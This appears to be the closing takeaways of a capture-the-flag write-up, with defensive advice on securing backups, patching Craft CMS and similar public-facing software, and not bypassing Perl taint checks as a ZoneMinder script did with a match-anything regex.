  • Mind your backups. Try to think of which users’ sensitive info might be contained in a backup. Then, among that group, whomever has the tightest security should be the holder of the backup file. Naturally, this is a little more challenging when a backup might contain multiple users’ sensitive info and they are effectively peers of the same privilege and security.

  • Stay updated. This box relied on the attacker leveraging two CVEs, both of which had already been patched for the current versions of their software. Be sure to do your updates in a timely manner, especially for public-facing systems like Craft CMS.

  • Don’t circumvent security controls. Privilege escalation to root on this box required that we abuse some ZoneMinder scripts. While perl has a concept of “tainted” variables, the script that led to privesc contained the anti-pattern of “untainting” a variable by running it through the match-anything regex .* - clearly a bad idea. If you’re tempted to bypass a well-intentioned security mechanism like this, take a hard look at yourself and how you got this point.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake